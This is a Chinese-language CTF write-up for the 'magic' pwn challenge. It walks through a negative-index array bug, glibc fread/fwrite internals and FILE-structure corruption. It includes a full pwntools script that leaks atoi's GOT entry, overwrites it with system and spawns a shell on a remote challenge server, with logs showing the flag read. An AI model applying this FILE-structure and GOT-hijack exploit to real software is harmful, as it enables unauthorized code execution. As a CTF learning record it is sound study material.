解题思路
安全机制检查
healer@healer-virtual-machine:~/Desktop/magic$ checksec magic
[*] '/home/healer/Desktop/magic/magic'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
healer@healer-virtual-machine:~/Desktop/magic$ readelf -h magic
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x4008b0
Start of program headers: 64 (bytes into file)
Start of section headers: 11992 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 9
Size of section headers: 64 (bytes)
Number of section headers: 31
Section header string table index: 28
分析利用过程
漏洞分析
__int64 wizard_spell()
{
int v0;
char v2;
__int64 v3;
char v4;
__int64 v5;
v5 = *MK_FP(__FS__, 40LL);
printf("Who will spell:");
v2 = read_int();
if ( !wizards[v2] || v2 > 2 )
{
puts("evil wizard!");
exit(0);
}
v3 = wizards[v2];
if ( *(_QWORD *)(v3 + 40) > 0LL )
{
if ( *(_QWORD *)(v3 + 40) <= 49LL )
{
puts("fail!");
}
else
{
printf("Spell name:");
v0 = my_read(&v4, 0x20uLL);
write_spell(&v4, v0);
read_spell();
*(_QWORD *)(v3 + 40) -= 0x32LL;
puts("success!");
}
}
else
{
puts("muggle!");
strcpy((char *)(v3 + 8), desc_muggle);
--left_wizard;
}
return *MK_FP(__FS__, 40LL) ^ v5;
}
移动_IO_write_ptr 指针至堆起始位置附近
由于存在数组溢出漏洞,并且存在*(_QWORD *)(v3 + 40) -= 0x32LL; 可以修改指针,因此通过利用程序自身的功能2.wizard spell 可以修改存在于堆空间开始处的文件结构体。且看下面几个量之间的关系:
v2 = read_int();
...
v3 = wizards[v2];
...
*(_QWORD *)(v3 + 40) -= 50LL;
wizards数组存储位置
运行时状态:
pwndbg> x/30xg 0x6020f0-0x40
0x6020b0 <desc_wizard>: 0x0000000000400f8b 0x0000000000000003
0x6020c0 <stdout@@GLIBC_2.2.5>: 0x00007ffff7dd2620 0x0000000000000000
0x6020d0 <stdin@@GLIBC_2.2.5>: 0x00007ffff7dd18e0 0x0000000000000000
0x6020e0 <log_file>: 0x0000000000603010 0x0000000000000000
0x6020f0 <wizards>: 0x0000000000603240 0x0000000000000000
0x602100 <wizards+16>: 0x0000000000000000 0x0000000000000000
因此,当输入的数组偏移量为“-2”时取得到的指针是<log_file> ,配合上*(_QWORD *)(v3 + 40) -= 50LL; 我们可以通过此方法来修改结构体的内容,每一次读取内容的长度
此题做的时候需要自己尝试一下每一次写入的字符串的长度对最终_IO_write_ptr 修改的量,通过多次读写,可以将_IO_write_ptr 指针调整到<log_file> 结构体开始位置附近
def main():
create_wizard(b"hacker")
wizard_spell("0",b"deadbeef")
for i in range(14):
print(">>>>"+str(i))
wizard_spell("-2",b"\x00"*5)
wizard_spell("-2",b"\x00"*4)
gdb.attach(io,"b * 0x400d65\nb * 0x400c8a\nb * 0x400d5d")
log.success("Move print_ptr Successfully")
payload = b"\x00"*3 + p64(0x321) + p64(0xfbad24a8)
wizard_spell("0",payload)
存在一点点疑惑的地方,这里上面的脚本中循环处,每次输入的\x00 的个数有可能会影响到能否完成指定的循环次数,最终将_IO_write_ptr 移动到合适的位置,还有一个问题是,不合适的\x00 的个数可能会影响到下一步的覆盖结构体指针。(前期wizard_spell("-2",b"\x00"*3) 始终没有成功将目标数据写入log_file在堆空间中的结构体,具体原因不详)
调整完毕之后如下所示
pwndbg> p *(struct _IO_FILE_plus *)0x603010
$2 = {
file = {
_flags = -72538968,
_IO_read_ptr = 0x6034a0 "...",
_IO_read_end = 0x6042a0 "",
_IO_read_base = 0x6032a0 "...",
_IO_write_base = 0xa000000000032a0 <error: Cannot access memory at address 0xa000000000032a0>,
_IO_write_ptr = 0x603006 "",
_IO_write_end = 0x6032a0 "...",
_IO_buf_base = 0x6032a0 "...",
_IO_buf_end = 0x6042a0 "",
_IO_save_base = 0x0,
_IO_backup_base = 0xa000000 <error: Cannot access memory at address 0xa000000>,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd2540 <_IO_2_1_stderr_>,
_fileno = 3,
_flags2 = 0,
_old_offset = 720575940379279360,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x6030f0,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x603100,
_freeres_list = 0xa000000,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>, "\n"
},
vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}
知识点:
- 通过
fread 可以修_IO_write_ptr 。即通过fread 操作,我们可以修改write 相关的指针, - 反之通过
fwrite 操作,我们可以修改read 相关指针。
pwndbg> x/40xg 0x603000
0x603000: 0x0000000000000000 0x0000000000000231
0x603010: 0x00000000fbad24a8 0x00000000006034a0
0x603020: 0x00000000006042a0 0x00000000006032a0
0x603030: 0x0a000000000032a0 0x0000000000603006
0x603040: 0x00000000006032a0 0x00000000006032a0
0x603050: 0x00000000006042a0 0x0000000000000000
0x603060: 0x000000000a000000 0x0000000000000000
0x603070: 0x0000000000000000 0x00007ffff7dd2540
0x603080: 0x0000000000000003 0x0a00000000000000
0x603090: 0x0000000000000000 0x00000000006030f0
0x6030a0: 0xffffffffffffffff 0x0000000000000000
0x6030b0: 0x0000000000603100 0x000000000a000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x00000000ffffffff 0x0000000000000000
0x6030e0: 0x0a00000000000000 0x00007ffff7dd06e0
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x000000000a000000 0x0000000000000000
控制结构体劫持got 表
泄漏got 表函数地址
前期通过控制_IO_write_ptr 指针将其移动到了堆中的log_file 的结构体的合适位置,覆盖_IO_read_ptr ,进而借助程序自身的fread 函数将目标位置的内容读出,在借助write 函数回显,实现内存地址泄漏,为什么是控制_IO_read_ptr 指针,且看下面分析
执行fread 之后,调用如下
pwndbg>
1380 in fileops.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
RAX 0x7ffff7a85ed0 (__GI__IO_file_xsgetn) ?— push r14
RBX 0x603010 ?— 0xfbad24a8
···
RDI 0x603010 ?— 0xfbad24a8
RSI 0x7fffffffdca0 —? 0x4008b0 (_start) ?— xor ebp, ebp
···
────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────
···
? 0x7ffff7a85f00 <__GI__IO_file_xsgetn+48> mov rsi, qword ptr [rbx + 8]
0x7ffff7a85f04 <__GI__IO_file_xsgetn+52> mov rbp, qword ptr [rbx + 0x10]
···
上面这段解释了rsi 参数的确定是源于rbx + 8 ,而rbx 的值是0x603010 ,指向结构体开始的位置,故rsi指向的是_IO_read_ptr ,
pwndbg>
0x00007ffff7a85fde 1383 in fileops.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
···
RCX 0x603010 ?— 0xfbad24a8
RDX 0x20
*RDI 0x7fffffffdca0 —? 0x4008b0 (_start) ?— xor ebp, ebp
RSI 0x602080 (_GLOBAL_OFFSET_TABLE_+128) —? 0x7ffff7a43e90 (atoi) ?— sub ···
────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────
···
0x7ffff7a85fdb <__GI__IO_file_xsgetn+267> mov rdi, r14
? 0x7ffff7a85fde <__GI__IO_file_xsgetn+270> call __memcpy_sse2 <__memcpy_sse2>
rdi: 0x7fffffffdca0 —? 0x4008b0 (_start) ?— xor ebp, ebp
rsi: 0x602080 (_GLOBAL_OFFSET_TABLE_+128) —? 0x7ffff7a43e90 (atoi) ?— sub rsp, 8
rdx: 0x20
rcx: 0x603010 ?— 0xfbad24a8
上面这里是实际读取结构体指向内容时的参数配置,由此可判定控制_IO_read_ptr 指针,即可控制回显的内容
泄漏atoi 函数地址之后,即可获得libc 加载基地址以及system 函数的地址
0x6020e0 <log_file>: 0x0000000000603010 0x0000000000000000
拿到关键地址信息之后,开始布局控制atoi 函数的got 表,实现劫持为system 函数
分析源码
从iofread.c 开始的调用链如下:
_IO_fread ->_IO_file_xsgetn ->__underflow ->_IO_new_file_underflow
且看下图:
各部分源码如下:
fread 源码
_IO_size_t
_IO_fread (void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
_IO_size_t bytes_requested = size * count;
_IO_size_t bytes_read;
CHECK_FILE (fp, 0);
if (bytes_requested == 0)
return 0;
_IO_acquire_lock (fp);
bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
_IO_release_lock (fp);
return bytes_requested == bytes_read ? count : bytes_read / size;
}
libc_hidden_def (_IO_fread)
_IO_file_xsgetn 函数
_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
_IO_size_t want, have;
_IO_ssize_t count;
char *s = data;
want = n;
if (fp->_IO_buf_base == NULL)
{
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}
while (want > 0)
{
have = fp->_IO_read_end - fp->_IO_read_ptr;
if (want <= have)
{
memcpy (s, fp->_IO_read_ptr, want);
fp->_IO_read_ptr += want;
want = 0;
}
else
{
if (have > 0)
{
#ifdef _LIBC
s = __mempcpy (s, fp->_IO_read_ptr, have);
#else
memcpy (s, fp->_IO_read_ptr, have);
s += have;
#endif
want -= have;
fp->_IO_read_ptr += have;
}
if (_IO_in_backup (fp))
{
_IO_switch_to_main_get_area (fp);
continue;
}
if (fp->_IO_buf_base
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF)
break;
continue;
}
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
_IO_setp (fp, fp->_IO_buf_base, fp->_IO_buf_base);
count = want;
if (fp->_IO_buf_base)
{
_IO_size_t block_size = fp->_IO_buf_end - fp->_IO_buf_base;
if (block_size >= 128)
count -= want % block_size;
}
count = _IO_SYSREAD (fp, s, count);
if (count <= 0)
{
if (count == 0)
fp->_flags |= _IO_EOF_SEEN;
else
fp->_flags |= _IO_ERR_SEEN;
break;
}
s += count;
want -= count;
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count);
}
}
return n - want;
}
libc_hidden_def (_IO_file_xsgetn)
__underflow 函数
int
__underflow (_IO_FILE *fp)
{
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
if (_IO_vtable_offset (fp) == 0 && _IO_fwide (fp, -1) != -1)
return EOF;
#endif
if (fp->_mode == 0)
_IO_fwide (fp, -1);
if (_IO_in_put_mode (fp))
if (_IO_switch_to_get_mode (fp) == EOF)
return EOF;
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
if (_IO_in_backup (fp))
{
_IO_switch_to_main_get_area (fp);
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
}
if (_IO_have_markers (fp))
{
if (save_for_backup (fp, fp->_IO_read_end))
return EOF;
}
else if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
return _IO_UNDERFLOW (fp);
}
libc_hidden_def (__underflow)
_IO_new_file_underflow 函数
int
_IO_new_file_underflow (_IO_FILE *fp)
{
_IO_ssize_t count;
#if 0
if (fp->_flags & _IO_EOF_SEEN)
return (EOF);
#endif
if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
if (fp->_IO_buf_base == NULL)
{
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}
if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
{
#if 0
_IO_flush_all_linebuffered ();
#else
_IO_acquire_lock (_IO_stdout);
if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
== (_IO_LINKED | _IO_LINE_BUF))
_IO_OVERFLOW (_IO_stdout, EOF);
_IO_release_lock (_IO_stdout);
#endif
}
_IO_switch_to_get_mode (fp);
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
= fp->_IO_buf_base;
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
if (count <= 0)
{
if (count == 0)
fp->_flags |= _IO_EOF_SEEN;
else
fp->_flags |= _IO_ERR_SEEN, count = 0;
}
fp->_IO_read_end += count;
if (count == 0)
{
fp->_offset = _IO_pos_BAD;
return EOF;
}
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count);
return *(unsigned char *) fp->_IO_read_ptr;
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)
fwrite 函数
_IO_size_t
_IO_fwrite (const void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
_IO_size_t request = size * count;
_IO_size_t written = 0;
CHECK_FILE (fp, 0);
if (request == 0)
return 0;
_IO_acquire_lock (fp);
if (_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1) == -1)
written = _IO_sputn (fp, (const char *) buf, request);
_IO_release_lock (fp);
if (written == request || written == EOF)
return count;
else
return written / size;
}
_IO_new_file_xsputn 函数
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
const char *s = (const char *) data;
_IO_size_t to_do = n;
int must_flush = 0;
_IO_size_t count = 0;
if (n <= 0)
return 0;
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
{
count = f->_IO_buf_end - f->_IO_write_ptr;
if (count >= n)
{
const char *p;
for (p = s + n; p > s; )
{
if (*--p == '\n')
{
count = p - s + 1;
must_flush = 1;
break;
}
}
}
}
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr;
if (count > 0)
{
if (count > to_do)
count = to_do;
#ifdef _LIBC
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
#else
memcpy (f->_IO_write_ptr, s, count);
f->_IO_write_ptr += count;
#endif
s += count;
to_do -= count;
}
if (to_do + must_flush > 0)
{
_IO_size_t block_size, do_write;
if (_IO_OVERFLOW (f, EOF) == EOF)
return to_do == 0 ? EOF : n - to_do;
block_size = f->_IO_buf_end - f->_IO_buf_base;
do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);
if (do_write)
{
count = new_do_write (f, s, do_write);
to_do -= count;
if (count < do_write)
return n - to_do;
}
if (to_do)
to_do -= _IO_default_xsputn (f, s+do_write, to_do);
}
return n - to_do;
}
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)
思路整理
最终目标是要将atoi 函数got 表中的地址劫持为system 函数地址,当程序再次执行至choice>> 要求输入时,直接输入/bin/sh 或者sh ,即可执行system("/bin/sh") 函数获取到shell
我们想要利用fread 函数将atoi 的got 表改写就要控制_IO_write_ptr 或者_IO_buf_base ,控制_IO_write_ptr 的方法我们有,就是一开始的那个借助每次-50的操作抬高该指针,但是atoi 的got 表在0x602080 处,现在在0x603010附近 需要循环很多次,才能移动过去,有点繁琐(还没有验证过行不行),但是结合上面的源码分析,借助fread 函数,通过控制log_file 在堆空间中结构体的各个指针,可实现向fp->_IO_buf_base 处写入数据的效果。
当泄漏关键地址之后,通过wizard_spell("-2",b"\x00"*18) 方法可将指针再次移动到结构体开始的位置。紧接着布局所有指针,控制_IO_read_ptr 与_IO_read_end ,使其在向fp->_IO_buf_base 处写入数据之前满足fp->_IO_read_ptr >= fp->_IO_read_end (参见源码_IO_new_file_underflow )
关于fwrite 函数,这需要确保f->_IO_buf_end > f->_IO_write_ptr ,才能保证结构体各指针不被刷新,保证能够正常输入
覆盖_IO_read_base 、_IO_read_ptr 、_IO_read_end 三个指针
log_file = 0x6020e0
payload = p64(log_file) + p64(log_file+0x40) + p64(log_file)
wizard_spell("0",payload)
上面的log_file+0x40 不一定要精确是0x40 这个值,到第三次覆盖时满足前面的fp->_IO_read_ptr >= fp->_IO_read_end 条件即可
覆盖_IO_write_base 、_IO_write_ptr 、_IO_write_end 三个指针
payload = p64(atoi_got+0x2000)*3
wizard_spell("0",payload)
此处覆盖write 相关的三个指针使用的是atoi_got+0x2000 ,至于为什么,参见源码_IO_new_file_xsputn ,因为之后仍需要通过fwrite 函数写入字符,所以需要确保下一步以及之后的写入system 函数地址顺利,所以需要确保f->_IO_buf_end > f->_IO_write_ptr ,并且f->_IO_buf_end - f->_IO_write_ptr 的值cont 尽量大一点,实际写入的时候会发现,其实_IO_write_ptr 指针并没有被更改,所以可以直接覆盖三个一样的值,并且保证f->_IO_buf_end 足够大一些即可,0x2000 可以调整,满足前面的要求即可。
上面这步大佬的做法是通过泄漏堆空间的地址,然后加上0x100 去做的,后面自己在验证和分析源码的时候发现其实并不需要堆的地址,只要覆盖的地址相对大一些或者足够大即可,大佬的分析中给出了一个范围,对于那个范围是如何而来更是百思不得其解,有机会可以交流一下(至少以我之愚见,源码中未体现出这个范围)。
覆盖_IO_buf_base 、_IO_buf_end 两个指针
payload = p64(atoi_got) + p64(atoi_got+0xa0)
wizard_spell("0",payload)
这里的_IO_buf_base 指针指向atoi 函数,_IO_buf_end 指针向后相对留有一定空间即可
劫持atoi 函数为system 函数
payload = p64(system_addr)
io.send(payload)
io.send(payload)
io.send(payload)
io.send(payload)
此处我有点茫然,结合前面的构造,程序运行到这里时直接开始等待输入了,并且结构体也达到前期的部署需求,而且要求的输入是0x20 ,如下所示:
pwndbg> p *(struct _IO_FILE_plus*)0x603010
$2 = {
file = {
_flags = -72538968,
_IO_read_ptr = 0x602080 "\220>\244\367\377\177",
_IO_read_end = 0x602080 "\220>\244\367\377\177",
_IO_read_base = 0x602080 "\220>\244\367\377\177",
_IO_write_base = 0x602080 "\220>\244\367\377\177",
_IO_write_ptr = 0x602080 "\220>\244\367\377\177",
_IO_write_end = 0x602080 "\220>\244\367\377\177",
_IO_buf_base = 0x602080 "\220>\244\367\377\177",
_IO_buf_end = 0x602120 "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd2540 <_IO_2_1_stderr_>,
_fileno = 0,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x6030f0,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x603100,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}
由于已经实现预期部署目标,就没有再使用源程序的wizard_spell 功能,并且程序直接等待向目标地址写入内容,所以就连着写了几个system 函数地址,实现最终目的。当然在调试的时候,如果能够正常走流程,再输入system 地址也是可以的。
攻击脚本
from pwn import *
from LibcSearcher import *
context.log_level='debug'
context.terminal = ['terminator', '-x', 'sh', '-c']
io = remote("111.200.241.244",64078)
elf = ELF("./magic")
def create_wizard(name_str):
io.recvuntil("choice>> ")
io.sendline("1")
io.recvuntil("Give me the wizard's name:")
io.sendline(name_str)
def wizard_spell(name_index,spell_name):
io.recvuntil("choice>> ")
io.sendline("2")
io.recvuntil("Who will spell:")
io.sendline(str(name_index))
io.recvuntil("Spell name:")
io.send(spell_name)
def main():
create_wizard(b"hacker")
wizard_spell("0",b"deadbeef")
for i in range(14):
print(">>>>"+str(i))
wizard_spell("-2",b"\x00"*5)
wizard_spell("-2",b"\x00"*18)
log.success("Move print_ptr Successfully")
payload = b"\x00"*3 + p64(0x231) + p64(0xfbad24a8)
wizard_spell("0",payload)
atoi_got = elf.got["atoi"]
log.success("atoi address -> "+hex(atoi_got))
payload = p64(atoi_got) + p64(atoi_got+0x100)
wizard_spell("0",payload)
atoi_addr = u64(io.recv(8))
log.success("atoi real address -> "+hex(atoi_addr))
obj = LibcSearcher("atoi",atoi_addr)
libcbase = atoi_addr - obj.dump("atoi")
system_addr = libcbase + obj.dump("system")
bin_sh_addr = libcbase + obj.dump("str_bin_sh")
log.success("system address -> "+hex(system_addr))
log.success("bin_sh_addr address -> "+hex(bin_sh_addr))
wizard_spell("-2",b"\x00"*18)
payload = p64(0x231) + p64(0xfbad24a8)
wizard_spell("0",payload)
log_file = 0x6020e0
payload = p64(log_file) + p64(log_file+0x40) + p64(log_file)
wizard_spell("0",payload)
payload = p64(atoi_got+0x2000)*3
wizard_spell("0",payload)
payload = p64(atoi_got) + p64(atoi_got+0xa0)
wizard_spell("0",payload)
log.info("Watch the _IO_write_ptr!!!")
payload = p64(system_addr)
io.send(payload)
io.send(payload)
io.send(payload)
io.send(payload)
io.recvuntil("choice>> ")
io.send("sh")
io.interactive()
if __name__ == '__main__':
main()
执行成功效果
本地shell
00000010
[*] Watch the _IO_write_ptr!!!
[*] Paused (press any to continue)
[DEBUG] Sent 0x8 bytes:
00000000 a0 23 a5 f7 ff 7f 00 00 │·
00000008
[*] Paused (press any to continue)
[DEBUG] Sent 0x8 bytes:
00000000 a0 23 a5 f7 ff 7f 00 00 │·
00000008
[*] Paused (press any to continue)
[DEBUG] Sent 0x8 bytes:
00000000 a0 23 a5 f7 ff 7f 00 00 │·
00000008
[DEBUG] Sent 0x8 bytes:
00000000 a0 23 a5 f7 ff 7f 00 00 │·
00000008
[DEBUG] Received 0x32 bytes:
00000000 a0 23 a5 f7 ff 7f 00 00 a0 23 a5 f7 ff 7f 00 00 │·
*
00000020 73 75 63 63 65 73 73 21 0a 63 68 6f 69 63 65 3e │succ│ess!│·cho│ice>│
00000030 3e 20 │> │
00000032
[DEBUG] Sent 0x2 bytes:
b'sh'
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x27 bytes:
b'core exp.csdn.py exp.py flag magic\n'
core exp.csdn.py exp.py flag magic
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x19 bytes:
b'flag{Cragratulations!!!}\n'
flag{Cragratulations!!!}
远程shell
00000010
[*] Watch the _IO_write_ptr!!!
[DEBUG] Sent 0x8 bytes:
00000000 90 63 54 90 09 7f 00 00 │·cT·│····│
00000008
[DEBUG] Sent 0x8 bytes:
00000000 90 63 54 90 09 7f 00 00 │·cT·│····│
00000008
[DEBUG] Sent 0x8 bytes:
00000000 90 63 54 90 09 7f 00 00 │·cT·│····│
00000008
[DEBUG] Sent 0x8 bytes:
00000000 90 63 54 90 09 7f 00 00 │·cT·│····│
00000008
[DEBUG] Received 0x20 bytes:
00000000 90 63 54 90 09 7f 00 00 90 63 54 90 09 7f 00 00 │·cT·│····│·cT·│····│
*
00000020
[DEBUG] Received 0x12 bytes:
b'success!\n'
b'choice>> '
[DEBUG] Sent 0x2 bytes:
b'sh'
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x23 bytes:
b'bin\n'
b'dev\n'
b'flag\n'
b'lib\n'
b'lib32\n'
b'lib64\n'
b'magic\n'
bin
dev
flag
lib
lib32
lib64
magic
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x2d bytes:
b'cyberpeace{c461dcc93********************69889c079c6}\n'
cyberpeace{c461dcc93********************69889c079c6}
|